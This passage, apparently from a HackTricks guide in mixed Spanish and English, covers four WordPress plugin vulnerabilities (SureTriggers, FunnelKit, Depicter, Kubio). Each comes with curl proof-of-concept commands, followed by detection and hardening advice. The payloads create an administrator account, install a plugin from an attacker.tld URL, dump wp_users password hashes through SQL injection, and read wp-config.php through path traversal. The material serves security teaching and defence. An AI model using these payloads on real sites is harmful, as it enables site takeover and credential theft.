curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Why it’s exploitable

  • Ruta REST sensible protegida solo por una prueba de identidad de baja entropía (username) o falta de permission_callback
  • Sin aplicación de capacidades; la key emitida se acepta como un bypass universal

Detection checklist

  • Grep en el código del plugin buscando register_rest_route(..., [ 'permission_callback' => '__return_true' ])
  • Cualquier ruta que emita tokens/keys basadas en una identidad suministrada por la petición (username/email) sin vincularla a un usuario autenticado o a una capability
  • Buscar rutas posteriores que acepten el token/key emitido sin comprobaciones de capability en el servidor

Hardening

  • Para cualquier ruta REST privilegiada: requerir permission_callback que haga cumplir current_user_can() para la capability requerida
  • No emitir claves de larga duración a partir de identidades suministradas por el cliente; si es necesario, emitir tokens de corta duración vinculados al usuario tras la autenticación y volver a comprobar las capabilities al usarlos
  • Validar el contexto de usuario del llamador (wp_set_current_user no es suficiente por sí solo) y rechazar peticiones donde !is_user_logged_in() || !current_user_can()

Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)

Nonces previenen CSRF, no la autorización. Si el código trata un nonce válido como luz verde y luego omite las comprobaciones de capability para operaciones privilegiadas (p. ej., install/activate plugins), atacantes no autenticados pueden cumplir un requisito de nonce débil y alcanzar RCE instalando un plugin backdoored o vulnerable.

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
  • Impact: full compromise via arbitrary plugin install/activation

PoC (el formato depende del plugin; solo ilustrativo)

bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Lista de comprobación de detección

  • REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
  • Any code path that sets $skip_caps = true after nonce validation

Endurecimiento

  • Tratar siempre los nonces solo como tokens CSRF; aplicar verificaciones de capacidad independientemente del estado del nonce
  • Requerir current_user_can('install_plugins') y current_user_can('activate_plugins') antes de llegar al código del instalador
  • Rechazar acceso no autenticado; evitar exponer acciones AJAX nopriv para flujos privilegiados

SQLi no autenticado vía el parámetro s (search) en las acciones depicter-* (Depicter Slider ≤ 3.6.1)

Múltiples acciones depicter-* consumían el parámetro s (search) y lo concatenaban en consultas SQL sin parametrización.

  • Parámetro: s (search)
  • Fallo: concatenación directa de cadenas en cláusulas WHERE/LIKE; sin sentencias preparadas/saneamiento
  • Impacto: exfiltración de la base de datos (usuarios, hashes), movimiento lateral

PoC

bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Lista de verificación de detección

  • Grep por depicter-* action handlers y el uso directo de $_GET['s'] o $_POST['s'] en SQL
  • Revisar consultas personalizadas pasadas a $wpdb->get_results()/query() que concatenen s

Endurecimiento

  • Usar siempre $wpdb->prepare() o wpdb placeholders; rechazar metacaracteres inesperados del lado del servidor
  • Añadir una allowlist estricta para s y normalizar al charset/longitud esperados

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)

Aceptar rutas controladas por un atacante en un parámetro de template sin normalización/contención permite leer archivos locales arbitrarios y, en ocasiones, la ejecución de código si se incluyen archivos PHP/log en tiempo de ejecución.

  • Parámetro: __kubio-site-edit-iframe-classic-template
  • Falla: sin normalización/allowlisting; traversal permitido
  • Impacto: divulgación de secretos (wp-config.php), posible RCE en entornos específicos (log poisoning, includable PHP)

PoC – leer wp-config.php

bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Lista de verificación de detección

  • Cualquier handler que concatene rutas de request en sinks include()/require()/read sin validación de containment con realpath()
  • Buscar patrones de traversal (../) que lleguen fuera del directorio de templates previsto

Endurecimiento

  • Forzar el uso de plantillas de la lista permitida; resolver con realpath() y exigir str_starts_with(realpath(file), realpath(allowed_base))
  • Normalizar la entrada; rechazar secuencias de traversal y rutas absolutas; usar sanitize_file_name() solo para nombres de archivo (no para rutas completas)

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks